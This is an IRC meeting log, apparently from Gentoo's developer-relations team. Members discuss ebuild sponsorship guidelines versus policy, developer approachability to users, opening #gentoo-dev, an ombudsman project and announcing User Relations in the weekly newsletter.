+Jul 23 19:11:37 <avenj>	a non-pdf version of that would be sexy, btw - dunno if anyone's done that yet
+Jul 23 19:11:47 <avenj>	actually, a guidexml version on devrel would probably be best
+Jul 23 19:12:08 <Stuart>	guidexml takes too long to write
+Jul 23 19:12:34 <Stuart>	and is a pain to edit ;-)
+Jul 23 19:12:44 <avenj>	i can guidexmlify it at some point, just not exactly soon
+Jul 23 19:12:58 <Stuart>	I'll look into writing a guidexml export filter for OO 1.1, now that I have that installed and working - that ok as a compromise?
+Jul 23 19:13:21 <avenj>	whatever works
+Jul 23 19:13:34 <Stuart>	grin - PDF works for most of the world ;-)
+Jul 23 19:13:41 <seemant>	from the people who've read it -- I know spyderous has commented
+Jul 23 19:13:54 <seemant>	Brandy: your comments from User Rel point of view?
+Jul 23 19:14:23 <Brandy>	The users would *love* the ability to have their ebuilds sponsored
+Jul 23 19:14:53 <Brandy>	One thing to keep in mind is what we do if/when Gentoo decides to maintain the package itself
+Jul 23 19:15:08 <Brandy>	i.e. where does the user stand?
+Jul 23 19:15:21 <Stuart>	mmm
+Jul 23 19:15:40 <Stuart>	I don't see sponsorship as Gentoo giving up responsibility for the ebuild
+Jul 23 19:16:12 <Stuart>	a sizable proportion of sponsored ebuilds will still need editing by devs before they're fit to commit
+Jul 23 19:16:52 <seemant>	Stuart: I wonder if you have seen liquidx's ebuild writing/submitting doc?
+Jul 23 19:16:52 <spyderous>	qa testing, if nothing else </interrupt>
+Jul 23 19:17:06 <Stuart>	seement: the one on www.gentoo.org?
+Jul 23 19:17:22 <seemant>	http://peregrine.gentoo.org/~liquidx/ebuildmistakes.html
+Jul 23 19:17:51 <Stuart>	seement: looking now
+Jul 23 19:18:18 <seemant>	that's more implementation detail oriented
+Jul 23 19:18:31 <Stuart>	seemant: agreed
+Jul 23 19:18:54 <seemant>	but it has some good info to minimise the dev-editing part of a submitted ebuild
+Jul 23 19:19:30 <Stuart>	I think it's important that the Gentoo Developers who sponsor users' ebuilds are still ultimately the ones responsible for the ebuilds
+Jul 23 19:20:11 <seemant>	the thing I would like to get a feel for is whether you all think we can use/adapt/adopt Stuart's guidelines into devrel's handbook project and/or propose to expand the developer policy
+Jul 23 19:20:21 <seemant>	Stuart: 100% agreed
+Jul 23 19:20:48 <spyderous>	i feel like much of it could serve as guidelines rather than policy
+Jul 23 19:20:56 <avenj>	i agree with spyderous wrt guidelines rather than policy
+Jul 23 19:21:25 <seemant>	Brandy: g2boojum: klieber: ?
+Jul 23 19:21:44 <klieber>	I don't do enough ebuild development stuff to really offer a good opinion
+Jul 23 19:22:03 *	klieber has committed....~6 ebuilds in his entire career :)
+Jul 23 19:22:04 <Brandy>	I think guidelines too since the proposal outlines the dev him/herself having the final say on sponsoring any ebuild
+Jul 23 19:22:11 <avenj>	klieber's lying - he's told me he secretly has a desire to maintain kde and openoffice
+Jul 23 19:22:18 <Stuart>	any particular reason why guidelines rather than policy?
+Jul 23 19:22:22 <seemant>	klieber: well, Stuart's doc is more of a way to define the relationship between an ebuild, a gentoo developer, and a user-dev
+Jul 23 19:22:36 <avenj>	Stuart: because it should be up to each developer how they want to handle new ebuilds
+Jul 23 19:22:46 <g2boojum>	I'd say it's a good set of guidelines.  I think more devs need to "buy-in" before it could be policy.
+Jul 23 19:22:53 <avenj>	Stuart: and potentially on a per-ebuild case-by-case basis, too
+Jul 23 19:23:32 <klieber>	Stuart: one area that I don't think should be policy is the "requirement" that notifications be sent out for updates and security fixes.
+Jul 23 19:23:34 <Stuart>	avenj: that's fair enough, but if Gentoo wants to tackle QA, at some point something like this'll have to become policy
+Jul 23 19:23:58 <avenj>	Stuart: why? what if i want to suck up a user-submitted ebuild and do everything with it myself without user involvement on that ebuild?
+Jul 23 19:24:07 <Stuart>	just to be clear - I never intended this to become policy
+Jul 23 19:24:42 <avenj>	(that is, past the original ebuild)
+Jul 23 19:24:54 <Stuart>	avenj: that's not what my doc is about
+Jul 23 19:25:10 <spyderous>	that's what _part_ of it is about. 
+Jul 23 19:25:13 <Stuart>	avenj: with the doc, I'm trying to standardise the way *I* work on ebuilds
+Jul 23 19:25:18 <avenj>	Stuart: right - hence guidelines
+Jul 23 19:25:19 <avenj>	rather than policy
+Jul 23 19:25:27 <spyderous>	the relationship between user and developer could be guidelines ; the qa (in some form) could be policy
+Jul 23 19:26:16 <seemant>	ya I mean I think the acceptance tests and the incidence tests would make for good qa policy
+Jul 23 19:26:47 <Stuart>	argh - I can't type fast enough ;-)
+Jul 23 19:27:18 <spyderous>	well, it is 6 against 1.
+Jul 23 19:27:28 <Stuart>	grin - 6 against 0 you mean ;-)
+Jul 23 19:28:39 <Stuart>	I'm not here to argue the case for making anything in the doc into official policy
+Jul 23 19:28:39 <seemant>	I don't think it's that
+Jul 23 19:28:39 <seemant>	I think people generally like your doc
+Jul 23 19:29:03 <seemant>	avenj: we'll talk later more on the handbook, yeah?
+Jul 23 19:29:06 <avenj>	seemant: yeah
+Jul 23 19:29:19 <avenj>	those docs i promised may be delayed some - releng is sucking up time
+Jul 23 19:29:23 <seemant>	so, moving along then -- spyderous, who are you and what are your ideas about user rel?
+Jul 23 19:29:30 <seemant>	avenj: understandably -- it's not a problem :)
+Jul 23 19:29:53 <spyderous>	Hi everyone. My name's Donnie.
+Jul 23 19:30:22 *	g2boojum waits for the chorus of "Hi, Donnie".
+Jul 23 19:30:36 <spyderous>	AA or devrel..hmm.
+Jul 23 19:30:54 <spyderous>	i've noticed we have devrel things in place to deal with developer-to-advanced-user relations
+Jul 23 19:31:06 <spyderous>	but not with what IMO is the majority of our user base
+Jul 23 19:31:33 <spyderous>	we need to have more outreach efforts to the beginning-to-mid-level users
+Jul 23 19:31:45 <spyderous>	making developers more accessible is one step
+Jul 23 19:32:40 <spyderous>	this is a bad metaphor, but now we're more like distant gods than parents
+Jul 23 19:33:10 <spyderous>	don't get me wrong, some of us are very approachable and willing to spend time working with users
+Jul 23 19:33:18 <spyderous>	but that should be the goal for all of us
+Jul 23 19:33:50 <avenj>	just to play devil's advocate for a minute - what's the tangible benefit of spending time working with not-very-advanced users?
+Jul 23 19:33:50 <klieber>	spyderous: understanding that I got my start with gentoo by helping users, why should it be the goal for all of us?
+Jul 23 19:33:51 <spyderous>	i believe brandy's working on a faq for linux beginners
+Jul 23 19:33:56 <avenj>	right, what klieber said
+Jul 23 19:34:08 <spyderous>	the goal is that gentoo is a community
+Jul 23 19:34:16 <spyderous>	and it should act like one
+Jul 23 19:34:30 <avenj>	but what if a developer doesn't have time to spend working with users because they're developing?
+Jul 23 19:34:31 <klieber>	spyderous: not sure I follow your logic.
+Jul 23 19:34:40 <avenj>	the community isn't going to go anywhere because i don't help Joe User
+Jul 23 19:34:52 <avenj>	there's still 25,000 registered users on the forums, ~600 people at any one time in #gentoo, tec
+Jul 23 19:34:52 <avenj>	er
+Jul 23 19:34:53 <avenj>	etc
+Jul 23 19:34:59 <avenj>	all of whom help each other out
+Jul 23 19:35:08 <klieber>	I'm not saying we should all live in a white tower, but by the same token, we have some very anti-social developers who still provide an incredibly positive net contribution to gentoo
+Jul 23 19:35:16 <avenj>	right
+Jul 23 19:35:23 <Stuart>	agreed
+Jul 23 19:35:29 <spyderous>	purposely avoiding users is not what we want to do
+Jul 23 19:35:30 <avenj>	i think that developers interacting heavily with users should be an optional thing, something to do if you enjoy it
+Jul 23 19:35:35 <spyderous>	maybe they don't actively go out and help users all the time
+Jul 23 19:35:36 <klieber>	spyderous: again, why?
+Jul 23 19:35:40 <spyderous>	but they should at least be approachable
+Jul 23 19:35:51 <Brandy>	We can always let User-Relations act as the conduit for users of all levels, thus insulating devs from the inane newbie questions
+Jul 23 19:36:16 <klieber>	I agree that this is a community and all communities have different types of folks.
+Jul 23 19:36:26 <klieber>	some folks are very quiet introverts, some are extroverts.
+Jul 23 19:36:45 <avenj>	i guess you need to define 'approachable'
+Jul 23 19:36:56 <klieber>	yes, that would help
+Jul 23 19:37:03 <spyderous>	approachable meaning there's an obvious way to contact them
+Jul 23 19:37:07 <g2boojum>	spyderous: Not to be too stupid about this, but define "approachable".  Azarah, for instance, generally reponds to his bug reports and sometimes his e-mails, but he's perennially swamped.  I don't know that I really want him to be _more_ approachable.
+Jul 23 19:37:09 <spyderous>	and it's posted publicly and easy to find
+Jul 23 19:37:13 <spyderous>	associated with their expertise
+Jul 23 19:37:22 <avenj>	sounds like the devlist to me
+Jul 23 19:37:28 <klieber>	spyderous: I like Brandy's idea, personally
+Jul 23 19:38:00 <spyderous>	i suppose scaling up the size of user relations is always a possibility
+Jul 23 19:38:15 <spyderous>	brandy by herself would probably having a little trouble dealing with every question that would go to every developer
+Jul 23 19:38:25 <klieber>	indeed
+Jul 23 19:38:42 <avenj>	i guess i don't really know what the purpose of approachable devs is
+Jul 23 19:38:45 <avenj>	that is, what you feel the purpose is
+Jul 23 19:38:47 <klieber>	but by the same token, danarmak would be buried if he had to respond to all KDE-related queries.
+Jul 23 19:38:57 <avenj>	we have bugzilla for bug reports, for example
+Jul 23 19:39:01 <avenj>	and feature requests
+Jul 23 19:39:13 <spyderous>	if joe user has a question bob user can't answer, i think he should be able to contact "the gentoo expert" on it
+Jul 23 19:39:14 <avenj>	we have gentoo-dev@gentoo.org for discussion about ebuild development
+Jul 23 19:39:19 <avenj>	spyderous: why?
+Jul 23 19:39:23 <avenj>	that is, why do we need to be tech support?
+Jul 23 19:39:47 <avenj>	frankly, i'll do tech support for people in #gentoo or on the forums when i'm up for it, but i don't feel _obligated_ to do it and i don't think i _should_ feel obligated to do it
+Jul 23 19:40:36 <spyderous>	there's a difference between obligation and encouragement
+Jul 23 19:40:41 <spyderous>	just like between guidelines and policy
+Jul 23 19:41:04 <klieber>	spyderous: personally, I want to encourage all gentoo developers to do a) what they're good at and b) what makes them happy.
+Jul 23 19:41:12 <spyderous>	i'd imagine some of us would be more than willing to answer questions we got, if we actually got them
+Jul 23 19:41:16 <Stuart>	I think one thing that's important is that the devs don't lose touch with our userbase
+Jul 23 19:41:22 <spyderous>	but since people can't figure out who to ask or how to ask them, they don't get asked
+Jul 23 19:41:35 <spyderous>	Stuart's summed up the whole thing.
+Jul 23 19:41:44 <avenj>	Stuart: yeah, but my question is: how far does that extend?
+Jul 23 19:41:44 <klieber>	ok, but isn't that our job?
+Jul 23 19:41:59 <Stuart>	if the gentoo devs become mainly an inward-looking group, it'll eventually disappear up its own back passage
+Jul 23 19:41:59 <avenj>	Stuart: i mean, not losing touch with the userbase is obviously very important
+Jul 23 19:42:05 <avenj>	but does that extend to being everyone's personal tech support?
+Jul 23 19:42:13 <Stuart>	avenj: no it doesn't
+Jul 23 19:42:15 <avenj>	okay
+Jul 23 19:42:31 <spyderous>	it wouldn't be difficult to set up a tree of "gentoo help", since there's an informal one already
+Jul 23 19:42:34 <spyderous>	with devs at the top
+Jul 23 19:42:42 <Stuart>	but how many of our devs have any idea about how the packages they write ebuilds for are actually used out there?
+Jul 23 19:43:12 <seemant>	well look, there are attitudes among devs that do need to be addressed
+Jul 23 19:43:26 <seemant>	bug 24933 sticks out
+Jul 23 19:43:30 <Stuart>	and how many of them care? ;-) a lot I think
+Jul 23 19:43:39 <seemant>	that's devs being *completely* out of touch with users
+Jul 23 19:43:41 <avenj>	definitely
+Jul 23 19:44:10 <g2boojum>	Stuart: That's true.  At the same time, though, it is literally impossible to keep up w/ #gentoo, #gentoo-dev, the forums, and the -user, -dev, and -core mailing lists.
+Jul 23 19:44:38 <spyderous>	keep up with what you can.
+Jul 23 19:44:43 <spyderous>	it's that easy. =)
+Jul 23 19:44:54 <klieber>	spyderous: I think people already do that.
+Jul 23 19:45:21 <Stuart>	I agree it's impossible to keep up.  I don't read the forums myself, for example - I just don't have the time
+Jul 23 19:45:31 <avenj>	some devs just need a serious attitude adjustment - i guess i don't see how that necessarily fits with this
+Jul 23 19:45:42 <avenj>	but i don't have a clear picture of what "this" is either, so i could be totally off
+Jul 23 19:45:48 <spyderous>	you don't see how better attitudes fit in with getting along with users?
+Jul 23 19:46:08 <Stuart>	lol
+Jul 23 19:46:12 <klieber>	getting along != being more approachable, imo
+Jul 23 19:46:20 <avenj>	klieber: right
+Jul 23 19:46:33 <klieber>	we're talking about a number of different issues here, it seems.
+Jul 23 19:46:34 <spyderous>	but to be approachable, you need to get along
+Jul 23 19:47:15 <klieber>	spyderous: I doubt that anyone here disagrees that we need to get along with our user base and be respectful of them in our interactions with them.
+Jul 23 19:47:20 -->	tberman (~tberman@dsl-207-112-41-32.tor.primus.ca) has joined #gentoo-devrel
+Jul 23 19:47:22 <spyderous>	so 1) improved attitudes, 2) improved approachability, especially about development issues 3) simply ask devs who can to help out more 4) inform users what resources are available
+Jul 23 19:47:39 <klieber>	spyderous: can you please define #2 better?
+Jul 23 19:47:39 <Stuart>	I'd go with 1) and 4)
+Jul 23 19:47:53 <spyderous>	klieber: it's already in progress, with herds, metadata, etc.   
+Jul 23 19:48:08 <tberman>	spyderous: improved attitudes means what exactly (srry, im so late, slow subway)
+Jul 23 19:48:17 <spyderous>	if i have a question about <random package> and why its ebuild does this or that, i don't know who to ask
+Jul 23 19:48:17 <klieber>	spyderous: if the net result of #2 is expecting all devs to perform direct end-user support, then I think we should discuss that further.
+Jul 23 19:48:22 <avenj>	tberman: that some devs have a nasty attitude for the sake of having a nasty attitude
+Jul 23 19:48:32 <tberman>	avenj: who?
+Jul 23 19:48:33 <avenj>	tberman: and despite slaps on the wrist, don't get the idea
+Jul 23 19:48:35 <klieber>	spyderous: you post a question on the forums, -user or -dev.
+Jul 23 19:48:38 <tberman>	avenj: i havnt noticed that really
+Jul 23 19:48:45 <avenj>	tberman: i sure have
+Jul 23 19:48:47 <tberman>	well, with one dev i have, but other than that
+Jul 23 19:49:34 <tberman>	spyderous: i would say #1 and #2 as the same
+Jul 23 19:49:51 <klieber>	tberman: we were just saying they're different. :)
+Jul 23 19:49:51 <g2boojum>	I'm happy w/ 1 and 4.  I think 3 already happens.  I think having particular devs handling 2 would probably be better than trying to get everybody to do so.  We could certainly use a few devs whose duties are really just to keep up w/ user issues.
+Jul 23 19:50:12 *	g2boojum points to Brandy 
+Jul 23 19:50:18 <Brandy>	hehe
+Jul 23 19:50:29 <tberman>	haha, they dont seem to be to me, but i missed the previous stuff, so ill admit my own ignorance
+Jul 23 19:50:46 <klieber>	honestly, I thought one of the primary goals of this project was to provide a better end user experience *without* bogging the dev team down with end user support
+Jul 23 19:51:54 <Stuart>	klieber: to provide a better end-user experience, we need to know what's wrong with the current experience ;-)
+Jul 23 19:52:09 <klieber>	Stuart: agreed -- I thought that's what we were here to do.
+Jul 23 19:52:17 <klieber>	collect data and report a distilled version back to the dev team
+Jul 23 19:52:18 <Stuart>	k
+Jul 23 19:52:33 <klieber>	rather than try to strong-arm folks into doing something that they a) might not want to or b) might be ill-equipped to.
+Jul 23 19:52:45 <Stuart>	agreed on both counts
+Jul 23 19:52:51 <spyderous>	i'd be interested to hear your opinions on seemant's idea about opening #gentoo-dev.
+Jul 23 19:52:57 <spyderous>	(occasionally)
+Jul 23 19:53:16 <spyderous>	it seems to me that mirrors what i'm saying
+Jul 23 19:53:23 <klieber>	Personally, I think it's a great idea on occasion. 
+Jul 23 19:53:29 <klieber>	because we don't force anyone to participate in that
+Jul 23 19:53:39 <Brandy>	seems to work really well on the weekends
+Jul 23 19:53:40 *	g2boojum agrees w/ klieber 
+Jul 23 19:53:52 <Stuart>	why isn't it open atm?
+Jul 23 19:53:54 <avenj>	a regular scheduled 'open #-dev' day would be good
+Jul 23 19:53:59 <avenj>	Stuart: looked at #gentoo lately?
+Jul 23 19:54:02 *	klieber points to #gentoo as the reason why -dev is locked
+Jul 23 19:54:03 <avenj>	right
+Jul 23 19:54:08 <Stuart>	lol
+Jul 23 19:54:25 <klieber>	but I think opening it weekly is fine.
+Jul 23 19:54:27 <Stuart>	so, how is opening #gentoo-dev gonna prevent the same thing from happening?
+Jul 23 19:54:29 <klieber>	gives users a chance to interact, etc.
+Jul 23 19:54:41 <klieber>	Stuart: because it's an occasional thing (as I understand it)
+Jul 23 19:54:44 <g2boojum>	Stuart: It's only for a limited period of time.
+Jul 23 19:54:53 <Stuart>	fair enough
+Jul 23 19:55:08 <tberman>	um, how is that different
+Jul 23 19:55:11 <tberman>	i +v anyone who asks
+Jul 23 19:55:22 <tberman>	and i +v people i see in #gentoo helping who seem to have ideas
+Jul 23 19:55:40 <tberman>	its basically open now, just a bit a chat-sanity prevention
+Jul 23 19:55:49 <avenj>	i'm more selective about voice
+Jul 23 19:55:58 <spyderous>	a lot of people request a reason for it
+Jul 23 19:56:01 <avenj>	too many people have showed up, asked for voice, and had something that belongs in #gentoo
+Jul 23 19:56:01 <avenj>	right
+Jul 23 19:56:07 <tberman>	and to prevent it from being basically 'oh, ebuild y is broken, im going into -dev and asking why why why
+Jul 23 19:56:25 <avenj>	typically people try to use it as their own personal bugzilla or tech support channel
+Jul 23 19:56:37 <tberman>	exactly, +m prevents that
+Jul 23 19:56:48 <spyderous>	otoh, if it's a development-related question from a user, doesn't it belong in -dev?
+Jul 23 19:57:03 <klieber>	spyderous: isn't that why we can all selectively +v users?
+Jul 23 19:57:26 <avenj>	spyderous: more often it's "kde is segfaulting, can someone help me?" or along those lines
+Jul 23 19:57:52 <g2boojum>	spyderous: We also do have a completely open gentoo-dev mailing list.
+Jul 23 19:57:54 <Stuart>	y'know, when businesses want to know what the customer experience is, they have two main tools at their disposal
+Jul 23 19:57:55 <spyderous>	i would like to discover a way to emphasize that -dev is for development issues
+Jul 23 19:57:59 <spyderous>	just like the mailing list, g2boojum
+Jul 23 19:58:06 <tberman>	see, however, devs use it for the same thing, so its somewhat a bit hypocritical to say no users can use it for tech support, but devs can
+Jul 23 19:58:07 <spyderous>	rarely do -user questions come on -dev
+Jul 23 19:58:09 <spyderous>	people figure it out
+Jul 23 19:58:10 <tberman>	i admit i do it as well
+Jul 23 19:58:14 <Stuart>	one is market research - polls, invited forums etc
+Jul 23 19:58:19 <Stuart>	the other is usability testing
+Jul 23 19:58:43 <Stuart>	gentoo, as far as I can tell, doesn't really do either
+Jul 23 19:58:55 <Stuart>	just a comment
+Jul 23 19:58:57 <avenj>	what's involved with 'usability testing'?
+Jul 23 19:59:06 *	avenj uses gentoo all the time - does that count? :)
+Jul 23 19:59:17 *	tberman listens to stuart, he is s-m-a-r-t ;)
+Jul 23 19:59:32 <Stuart>	real users are asked to try new products out.  Their feedback is recorded, as well as their actions and demeanour
+Jul 23 19:59:40 *	Stuart is not smart, just old
+Jul 23 19:59:43 <g2boojum>	tberman: Yes, but I can either ignore you, or answer you, and it's unlikely to stop me from seeing what other devs are saying.  If 500+ people are doing that, though....
+Jul 23 20:00:02 <Stuart>	we push new ebuilds out all the time
+Jul 23 20:00:08 <spyderous>	if we got a tighter reign on off-topic stuff in #gentoo-dev, it wouldn't be an issue.
+Jul 23 20:00:16 <avenj>	Stuart: isn't that what bugzilla is for?
+Jul 23 20:00:17 <tberman>	g2boojum: oh, i doubt i would stop, but im just pointing out
+Jul 23 20:00:23 <avenj>	Stuart: and why some of us monitor the forums and #gentoo for comments?
+Jul 23 20:00:31 <Stuart>	avenj: not really
+Jul 23 20:00:50 <Stuart>	avenj: how many people can be bothered to post in bugzilla when they have a problem?
+Jul 23 20:01:11 <avenj>	if they don't take the time to report a bug, they can't expect it to get fixed
+Jul 23 20:01:17 <avenj>	that seems fair enough to me
+Jul 23 20:01:20 <Stuart>	and the very name bugzilla implies 'bugs, faults' - there'll be people out there who think it's not for new ideas
+Jul 23 20:01:26 <spyderous>	how many give up because bugzilla is too complicated.
+Jul 23 20:01:26 <avenj>	judging by the sheer volume of new bugs, quite a few people can be bothered to post when they have a problem
+Jul 23 20:01:42 <avenj>	note that i also mentioned #gentoo and the forums
+Jul 23 20:01:46 <avenj>	which many devs read
+Jul 23 20:02:07 <Stuart>	I did note that
+Jul 23 20:02:08 <avenj>	i don't see how we could record user reactions to things other than monitoring #gentoo and the forums, which happens already
+Jul 23 20:02:29 <klieber>	guys -- we're talking about a lot of things here.  so many, in fact, that I lost track of what it is that we're trying to accomplish.  Can someone help me by telling me what it is we're trying to do/decide?
+Jul 23 20:02:33 <Stuart>	well, in the real world, they run usability labs, where people are filmed
+Jul 23 20:02:45 <avenj>	Stuart: buy us a lab :)
+Jul 23 20:03:00 <avenj>	#gentoo and the forums are effectively a usability lab, in that case
+Jul 23 20:03:17 <avenj>	but klieber's right, we're all over the place: what's the goal?
+Jul 23 20:03:38 <Brandy>	klieber: Often devs and newbie's seem to have mutually exclusive roles in Gentoo; they can seem worlds apart, but we also want to create the 'appearance' that their concerns will be dealt with by the dev community.
+Jul 23 20:03:59 <klieber>	Brandy: sure -- I thought that's what the purpose of this project was.
+Jul 23 20:04:09 <klieber>	I thought it was supposed to be a conduit
+Jul 23 20:04:14 <klieber>	and a filter
+Jul 23 20:04:22 <Brandy>	klieber: exactly.
+Jul 23 20:04:27 <spyderous>	i think what's missing is an official tier of people willing to help users
+Jul 23 20:04:58 <g2boojum>	Brandy: Actually, we want to create the reality as well as the appearance.  I think klieber's asking if there's a _specific_ proposal that we're supposed to be considering.
+Jul 23 20:05:06 <klieber>	indeed.
+Jul 23 20:05:34 <Stuart>	then I want to make such a proposal, if I may
+Jul 23 20:05:59 <seemant>	please
+Jul 23 20:06:04 <Stuart>	k - thanks
+Jul 23 20:06:15 <Stuart>	apologies if it's too specific and narrow for the group
+Jul 23 20:06:22 *	avenj likes specifics
+Jul 23 20:06:36 <tberman>	Stuart: do it in visio man, those charts were awesome
+Jul 23 20:06:52 <Stuart>	I want to chair a user meeting on IRC about the webapps mess - and I want it publicised in GWN well in advance
+Jul 23 20:07:11 <Stuart>	users who can't attend will be invited to email their opinions and suggestions instead
+Jul 23 20:07:39 <spyderous>	the goal?
+Jul 23 20:08:00 <Stuart>	the goal is to find out how our users think we should be installing webapps on their machines
+Jul 23 20:08:18 <Stuart>	before we go ahead and write a tonne of ebuilds to do the job
+Jul 23 20:08:37 <tberman>	Stuart: while i agree a level of dev->user interaction is a must, and very very good, a user irc meeting about it is the wrong way to go imo
+Jul 23 20:08:42 <tberman>	use the gentoo-dev mailing list
+Jul 23 20:08:46 <tberman>	thats what its for
+Jul 23 20:08:53 <seemant>	klieber: on a related note -- method said you and him had talked about a wiki (tikiwiki?) -- how far away are we from that
+Jul 23 20:08:58 <tberman>	and then you dont just get the corner case of users free at that time who are willing to irc
+Jul 23 20:09:10 <seemant>	seeing as we've gotten waaaay off the agenda anyway :/
+Jul 23 20:09:15 <klieber>	seemant: method was supposed to set up a proof-of-concept box while I secured some more permanent hardware.
+Jul 23 20:09:18 <spyderous>	ok, let me sum up my points one last time.
+Jul 23 20:09:19 <spyderous>	1) improved attitudes, 2) improved approachability, especially about development issues 3) simply ask devs who can to help out more 4) inform users what resources are available
+Jul 23 20:09:24 <Stuart>	tberman: that's why you have to run two or three different chats at different times
+Jul 23 20:09:24 <spyderous>	people disagreed with 2
+Jul 23 20:09:25 <klieber>	seemant: I think method is still working on his side of thins
+Jul 23 20:09:28 <spyderous>	agreed with the rest
+Jul 23 20:09:32 -->	coredumb (hidden-use@212.199.104.98) has joined #gentoo-devrel
+Jul 23 20:09:49 <seemant>	klieber: I think php-team is working on ebuilding tikiwiki at least (I emailed them about it last night)
+Jul 23 20:09:56 <klieber>	seemant: cool
+Jul 23 20:10:02 <Stuart>	seemant: I emailed you back about tikiwiki
+Jul 23 20:10:06 <seemant>	Stuart: yep :)
+Jul 23 20:10:10 <avenj>	spyderous: i think we're looking for specifics about those items
+Jul 23 20:10:41 <Stuart>	seemant: I can hack something together for tikiwiki quickly, while we sort out the webapps mess
+Jul 23 20:10:48 <g2boojum>	Stuart, tberman: I think we can leave the methods for gathering user input up to the devs who are interested.
+Jul 23 20:11:10 <Stuart>	g2boojum: then you don't mind me going ahead with my proposal?
+Jul 23 20:11:35 <tberman>	g2boojum: true, poing :)
+Jul 23 20:11:36 <tberman>	er
+Jul 23 20:11:37 <tberman>	point
+Jul 23 20:11:38 <seemant>	Stuart: that would be nice
+Jul 23 20:11:40 <g2boojum>	Stuart: No, I certainly don't mind.  I don't think I should really have any say in the matter.
+Jul 23 20:11:49 <spyderous>	i didn't realize i was going to talk so much. i'll put some more specifics together and send out an email or something.
+Jul 23 20:11:59 <seemant>	ok, so moving on
+Jul 23 20:12:12 <seemant>	how are we feeling about the Conflict Resolution/Ombudsman project idea?
+Jul 23 20:12:14 <seemant>	klieber: ?
+Jul 23 20:12:17 <tberman>	i love it
+Jul 23 20:12:39 *	g2boojum won't have his page up until Friday.
+Jul 23 20:12:44 <klieber>	seemant: no strong opinions one way or the other.  
+Jul 23 20:13:08 <seemant>	klieber: can you summarise your weaker feelings?
+Jul 23 20:13:21 <spyderous>	g2boojum: are you able to quickly summarize the ombudsman's role? i don't remember the result of the discussion
+Jul 23 20:13:31 <Brandy>	I the Ombudsman a single individual, or is conflict resolution handled by a board?
+Jul 23 20:13:32 <seemant>	spyderous: check the GLEP
+Jul 23 20:13:36 <Brandy>	s/I/Is
+Jul 23 20:13:43 <tberman>	Brandy: you too
+Jul 23 20:14:18 <klieber>	seemant: same as I said before -- i'm mostly concerned with greasing squeeks and not solving the underlying issues.
+Jul 23 20:14:25 <spyderous>	ah, he mentioned the page wouldn't be up til friday so i thought there were changes.
+Jul 23 20:14:28 <klieber>	that said, I still see this position as a decent pressure valve
+Jul 23 20:14:30 <g2boojum>	Brandy: individual.  The ombudsman mediates.  It's the managers who have to make decisions.
+Jul 23 20:14:51 <seemant>	klieber: so as a pressure valve, you're ok with at least experimenting with the idea?
+Jul 23 20:14:54 <klieber>	sure
+Jul 23 20:15:21 <seemant>	g2boojum: kk, when you have page ready, lemme know and we'll move it from planned to active subproject
+Jul 23 20:15:25 <seemant>	that was quick :)
+Jul 23 20:15:27 <g2boojum>	seemant: k
+Jul 23 20:15:42 <seemant>	Brandy: an update on User Rel from you?
+Jul 23 20:15:44 <spyderous>	what's done to ensure the ombudsman has no conflicts of interest?
+Jul 23 20:16:06 <tberman>	spyderous: there is a backup
+Jul 23 20:16:19 <Brandy>	The user-rel page is up. It's rudimentary but does contain usable info
+Jul 23 20:16:33 <Brandy>	I'm looking at adding a FAQ this week or so
+Jul 23 20:17:27 <g2boojum>	Brandy: If you do, please let swift know.  If we're going to be distributing docs around the website, we need to make sure our docs team knows about them.
+Jul 23 20:17:42 <avenj>	i don't think the docs team should necessarily have to review everything under each top level project
+Jul 23 20:17:43 <Brandy>	And I'm also not sure how many devs will actually read info placed on user-rel, so I'm considering sending a weekly update of user-issues to the -dev mailing list
+Jul 23 20:17:45 <avenj>	there's just too much there
+Jul 23 20:18:00 <avenj>	but there haven't been any actual decisions on the scope of the docs project with regards to top level project documentation
+Jul 23 20:18:14 <seemant>	Brandy: the -dev ml update is a good idea for sure
+Jul 23 20:18:15 <Brandy>	g2boojum: will do - which reminds me, I'm looking at contributing to a newbie's guide to Gentoo
+Jul 23 20:18:38 <g2boojum>	avenj: I didn't mean they need to review it; but they need to make sure there's a link to that faq from the general faq (or some other way of easily finding it)
+Jul 23 20:18:44 <avenj>	g2boojum: i agree
+Jul 23 20:18:50 <seemant>	avenj: agreed -- where possible we should try and co-ordinate with them so they know about the docs we're bringing online
+Jul 23 20:19:10 <avenj>	i think we should perhaps add a section to the main docs page for top-level project documentation (links to it, that is)
+Jul 23 20:19:34 <seemant>	which reminds me
+Jul 23 20:19:50 <seemant>	klieber: any ETA on when the project pages will be click-to'able?
+Jul 23 20:20:19 <klieber>	seemant: pauldv is putting together an index.  as soon as that is done, we'll link to that page from the front page.
+Jul 23 20:20:34 <seemant>	klieber: oh excellent! thanks 
+Jul 23 20:20:36 <klieber>	in the managers meeting, pauldv was talking about mon. or tues.
+Jul 23 20:20:40 <g2boojum>	avenj: I sort-of agree.  Our top-level projects aren't necessarily intuitive for our users, so I'd prefer a more comprehensive solution.
+Jul 23 20:20:53 <g2boojum>	avenj: For the short-term, though, a link would be great!
+Jul 23 20:21:11 <seemant>	klieber: that's great news
+Jul 23 20:21:54 <seemant>	Brandy: GWN?
+Jul 23 20:22:41 <Brandy>	Where are we on announcing Dev-Rel to the userbase? I feel that User-Rel at least could be
+Jul 23 20:22:55 <tberman>	im wondering if someone is going to look at a potential site redesign for gentoo, imo, and its just my opinion, but the site design is pretty antiquated and difficult to deal with
+Jul 23 20:23:06 <klieber>	tberman: yes
+Jul 23 20:23:22 <klieber>	tberman: if you know of any professional graphic designers willing to donate their services, please have them contact me
+Jul 23 20:23:25 <Stuart>	tberman: site looks fine, but the site map needs fixing
+Jul 23 20:23:28 <tberman>	klieber: i do
+Jul 23 20:23:35 <klieber>	tberman: cool -- have them drop me a line
+Jul 23 20:23:41 <seemant>	anyone object to us announcing User Rel on next week's GWN then?
+Jul 23 20:23:47 <klieber>	tberman: daniel also knows a few people as I understand it
+Jul 23 20:23:49 <tberman>	klieber: he can be a pain to deal with sometimes, and a bit slow, but he will work for free, and on whatever i tell him too
+Jul 23 20:23:54 <g2boojum>	fine w/ me
+Jul 23 20:23:54 <klieber>	lol
+Jul 23 20:24:05 <tberman>	klieber: it will be easier for you to interface with him through me, trust me
+Jul 23 20:24:09 <spyderous>	sounds like a brother
+Jul 23 20:24:16 <seemant>	avenj: klieber: spyderous: ?
+Jul 23 20:24:17 <tberman>	spyderous: gah, no
+Jul 23 20:24:20 <klieber>	tberman: ok -- we can talk more later.
+Jul 23 20:24:20 <seemant>	coredumb: ?
+Jul 23 20:24:22 <tberman>	klieber: k
+Jul 23 20:24:23 <klieber>	seemant: no objections
+Jul 23 20:24:28 <spyderous>	sounds good
+Jul 23 20:24:30 <coredumb>	seemant: ok
